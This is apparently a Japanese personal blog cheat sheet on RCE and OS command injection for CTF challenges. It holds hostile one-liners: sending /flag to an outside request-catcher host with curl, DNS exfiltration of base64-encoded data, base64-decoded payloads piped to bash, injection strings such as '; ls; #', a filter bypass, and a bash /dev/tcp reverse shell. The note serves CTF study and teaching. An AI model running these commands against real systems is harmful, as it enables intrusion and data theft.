はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるRCE・コマンドインジェクション問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

RCE/コマンドインジェクション

コマンド文を動的構築して実行する部分がある場合に、任意コマンドをねじ込める脆弱性

RCE

RCE: Remote Code Execution
実行できるコードに制約があってもRCEと呼ばれてる気がするから、その辺が任意コード実行との差なのかな?
あまり気にしなくてもいいとも思う。

コマンドインジェクション

OSコマンドインジェクションみたいにOSが付くときもある。
RCEの一種で、OSコマンドを呼び出している部分にインジェクションすることで、任意コードを実行する。
そんな状況あるか?という話だが、メール送信をコマンド頼りにしていたり、最近だとAIエンジンをpythonで作ってて、
適当にコマンド呼び出しで実行してたりすると、ありそうかなという感じ。

OSがUnixの場合

便利コマンド一覧

  • id 実行ユーザーなどの実行情報が得られる。1行出力だし、簡単だし、これで試すのもいい。
  • env > dump.txt
    • 環境変数に情報が入っているときがある
    • Dockerで作られている場合は環境変数にデータが入ってる時がよくある
  • find . -type f -exec cat {} +
    • フラグを検索してくるコマンド
  • find / -iname "*flag*"
    • flagという名前の入ったファイル名を探してくるコマンド
  • echo "[userpass]" | su [username] -c "[command]"
    • あるユーザー権限でコマンド実行したいとき
  • cat /flag | curl https://evilman.requestcatcher.com/post -X POST -d @-
    • RCEできるけど、結果を受け取れないときに任意先にPOSTで中身を送る
  • grep flag $(find $PWD -maxdepth 1 -type f -name main.py) | tee '/uploads/flag.txt'
    • $PWDはカレントディレクトリを指し、カレントディレクトリを深さ1でmain.pyという名前のファイルを探してくれる
    • そこから更にgrepでflagが入っている行を探してくる
    • それをパイプでteeコマンドに送り、アップロードフォルダ(ユーザーが直接参照可能な任意のフォルダ)に吐き出している
  • flag=$(cat main.py|grep -wo cybrics{.*|base64|tr -d '=');curl $flag.a0325542a59398d0bda8.d.zhack.ca
    • catする ⇒ grepで持ってきたい行を持ってくる ⇒ base64する ⇒ =を消す ⇒ それをflag変数に入れる
    • 次のコマンドでflag変数の中身をサブドメインに入れてcurl
    • 事前にDNSBinで*.a0325542a59398d0bda8.d.zhack.caみたいに取得して待っとく
  • echo '{encoded}' | base64 -d | bash
    • base64化したコードが実行可能

コマンドインジェクションするとき

  • お手軽に差し込む場合は||command||とすればいい
    • 差し込み後にA||command||Bとなった場合、Aが不完全なら異常終了となり、commandが実行される
    • commandが正常終了されるような感じになっていればBは実行されずに終わる
  • パイプ文字について
    • A | B Aの標準出力をBの標準入力につなげるやつ
    • A && B Aを実行して正常終了したら、B実行
    • A & B AとBを並列実行
    • A || B Aを実行して異常終了したら、B実行
    • A; B Aを実行して、Bを実行
  • いつか使うかもメモ
    • echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>";こうなってたら、
      • '; ls; #とすればインジェクション可能。
      • ;でコマンドの境目を作って、最後は#とすれば以降はコメント扱い可能。

テクまとめ

  • $(pwd | cut -c1)を使うと、/になる
    • ctf/flag.txtと書きたいけど/がフィルターされてるならctf$(pwd | cut -c1)flag.txtと書ける
  • base64化コードの作成python
shellcode = "[command]"
encoded = base64.b64encode(shellcode.encode("utf-8")).decode("utf-8")
exp = f"echo \'{encoded}\' | base64 -d | bash"

OSがWindowsの場合

todo

言語/フレームワーク

PHP

safe_mode = On
safe_mode_exec_dir = /XXX/YYY

Ruby

リバースシェル

リバースシェルを仕込んで手っ取り早く乗っ取れる可能性がある。

自分メモ(やるとき)

  1. conohaで適当にVPS作る(Ubuntuとか。最安値従量課金のやつで十分。終わったら【削除】すること)
  2. ssh root@[ipaddress]で入る
  3. nc -vnlp [port]実行しとく
  4. 手元でテストする bash -i >& /dev/tcp/[ipaddress]/[port] 0>&1

RCE/コマンドインジェクション 問題 CTF Writeups

Practicalな話

実装時に気を付けること

基本的には攻撃可能箇所は外部コマンドを呼び出す部分。
ライブラリで隠蔽されてて…という話もあるだろうが、それはライブラリのCVEとかを追っていくしかない。
基本的には軽減策だろうと思う。コマンド実行をなくすよう頑張る。
軽減策については未調査。
任意コマンド実行できるので、適切な権限管理が有効というのは色々な所で見た。確かに。

(CTFじゃ使えないけど)テストツール

有名なテストツールには診断方法が提供されている。
あんま調べてないだけ。